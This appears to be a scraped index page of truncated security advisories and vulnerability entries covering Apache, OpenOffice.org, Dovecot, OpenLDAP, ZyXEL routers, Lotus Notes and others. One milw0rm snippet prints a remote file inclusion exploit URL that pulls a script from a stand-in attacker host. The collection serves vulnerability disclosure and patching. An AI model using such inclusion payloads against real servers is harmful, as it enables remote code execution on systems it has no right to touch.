Schweitzer Engineering Laboratories Improper Input Validation

Overview Adam Crain of Automatak and independent researcher Chris Sistrunk have identified improper DNP3 input validation in Schweitzer Engineering Laboratories’ real-time automation controllers RTAC. Schweitzer Engineering Laboratories SEL has produced updated firmware that mitigates this...

Fedora 18 : BackupPC-3.2.1-10.fc18 (2012-20943)

cleanup build macros for Fedora - fix deprecated qw messages partial fix for bz 755076 - CVE-2011-5081 BackupPC: XSS flaw in RestoreFile.pm bz 795017, 795018, 795019 - Broken configuration for httpd 2.4 bz 871353 Note that Tenable Network Security has extracted the preceding description block...

Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : apache2, apache2-mpm-itk vulnerabilities (USN-1259-1)

It was discovered that the modproxy module in Apache did not properly interact with the RewriteRule and ProxyPassMatch pattern matches in the configuration of a reverse proxy. This could allow remote attackers to contact internal webservers behind the proxy that were not intended for external...

CVE-2011-1176

The configuration merger in itk.c in the Steinar H. Gunderson mpm-itk Multi-Processing Module 2.2.11-01 and 2.2.11-02 for the Apache HTTP Server does not properly handle certain configuration sections that specify NiceValue but not AssignUserID, which might allow remote attackers to gain privileg...

Watcher 1.4.1 - latest version download

"Watcher is a runtime passive-analysis tool for HTTP-based Web applications. Being passive means it won't damage production systems, it's completely safe to use in Cloud computing, shared hosting, and dedicated hosting environments. Watcher detects Web-application security issues as well as...

Do You Know What Your Database Users Are Doing?

In our last column, we focused on privilege escalation attacks, and the impact that this category of SQL injection attacks can have on the database – particularly where specific database vulnerabilities exist, and can be exploited through the manipulation of privileges. Let’s look more deeply at...

Mandriva Update for openoffice.org MDVSA-2010:075 (openoffice.org)

Check for the Version of openoffice.org OpenVAS Vulnerability Test Mandriva Update for openoffice.org MDVSA-2010:075 openoffice.org Authors: System Generated Check Copyright: Copyright c 2010 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it...

Mandriva Linux Security Advisory : openoffice.org (MDVSA-2008:137)

Integer overflow in the rtlallocateMemory function in sal/rtl/source/allocglobal.c in OpenOffice.org OOo 2.0 through 2.4 allows remote attackers to execute arbitrary code via a crafted file that triggers a heap-based buffer overflow. CVE-2008-2152 Also, according to bug 38874 decimal numbers on...

Fedora 8 : dovecot-1.0.13-6.fc8 (2008-2464)

This update upgrades dovecot from version 1.0.10 to 1.0.13. Besides bug fixes, two security issues were fixed upstream in version 1.0.11 and 1.0.13. CVE-2008-1199 If Dovecot was configured with mailextragroups = mail, users having shell access to IMAP server could use this flaw to read, modify or...

Download Center Lite (DCL) 1.5 - Remote File Inclusion

Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/downloadcenterlite.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-10...

paNews_v2.0b4.txt

oooo oooo oooooooo8 ooooooooooo 8888o 88 888 88 888 88 88 888o88 888oooooo 888 88 8888 888 888 o88o 88 o88oooo888 o888o Network security team nst.e-nex.com Title: paNews v2.0b4 Bug found by: ò¸ìû÷ Date: 20.02.2005 web: http://www.phparena.net/panews.php google: allintitle:paNews v2.0b4 PHP...

Debian DSA-023-1 : inn2 - local tempfile vulnerabilities

People at WireX have found several potential insecure uses of temporary files in programs provided by INN2. Some of them only lead to a vulnerability to symlink attacks if the temporary directory was set to /tmp or /var/tmp, which is the case in many installations, at least in Debian packages. An...

BRS WebWeaver 1.06 remote DoS vulnerability

/ m00 security advistory 004 BRS WebWeaver remote DoS vulnerability www.m00security.org / --------------------------------- Product: BRS WebWeaver Version: 1.06 and bellow OffSite: www.brswebweaver.com --------------------------------- Overview: BRS WebWeaver is an HTTP Server with support for CG...

Critical: Red Hat Security Advisory: : : : Updated openldap packages available for iSeries and pSeries

Updated openldap packages are available which fix a number of local and remote buffer overflows in libldap, and in the slapd and slurpd servers, as well as fixing potential issues stemming from using user-specified LDAP configuration files. OpenLDAP is a suite of LDAP Lightweight Directory Access...

Four More ScriptEase MiniWeb Server v0.95 DoS Attacks

The following are four more Server Denial of Service Attacks against ScriptEase MiniWeb Server 0.95. These attacks do not make the server point to an invalid memory address like the previous post. I believe the first two attacks I describe are internal server problems due to either coding errors ...

ZyXEL Prestige 642R: Exposed Admin Services on WAN with Default Password

ZyXEL Prestige 642R: Exposed Admin Services on WAN with Default Password AFFECTED ZyXEL Prestige 642R and 642R-I V2.50AJ.4 V2.50AL.1 V2.50AL.2b2 seems to be latest public beta and probably all other earlier versions too. NOT AFFECTED ZyXEL Prestige 642M SUMMARY The ADSL routers P642R and P642R-I...

BindView RAZOR Advisory: Novell Netware

I contacted Novell about this and they feel the recommendations section is fine the way it is. No patch, just configuration issues. The seriousness can probably best be assessed by running the NCPQuery tool against your Netware servers that are running IP. Probably the most interesting thing is t...

website.pro.txt

Date: Tue, 16 Feb 1999 17:45:09 -0600 From: Christian Antkow To: [email protected] Subject: Website Pro v2.0 NT Configuration Issues As some of you might be aware, our website www.idsoftware.com was hacked this morning using the "out-of-the-box" features of Website Pro 2.0. The perpetrator use...

aol-aim-tunnel.txt

The risks of using an AOL client behind a firewall Many users wish to use AOL client or AIM AOL Instant Messenger behind the company firewall. However, opening the firewall for an AOL client can present a security risk to the entire network. AOL client connects to the AOL server at port 5190. Thi...

lotus.notes.crypto.txt

Date: Fri, 26 Mar 1999 21:25:10 GMT From: KevinLynch/CAM/[email protected] To: [email protected] Subject: Re: Lotus Notes security advisory Security Advisory Application: Lotus Notes Client R4.5 and Later Summary: As reported March 23, 1999 by Martin Bartosch of Deutsche Bank AG, there is a bug ...